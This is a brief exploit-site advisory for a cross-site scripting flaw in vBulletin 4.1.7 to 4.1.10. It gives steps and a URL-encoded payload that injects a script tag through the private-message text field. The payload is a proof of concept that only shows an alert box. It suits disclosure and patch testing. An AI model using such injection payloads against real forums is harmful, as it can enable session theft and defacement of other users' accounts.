vBulletin 4.1.7 => 4.1.10 XSS Vulnerability

Vulnerability:

1.

Send New Private Message >

>

Message text > %22%3E%3Cscript%3Ealert('XSS')%3C/script%3E (encode script UTF-8)

Watch the video: [http://vimeo.com/39049790]

1337day.com/exploits/17824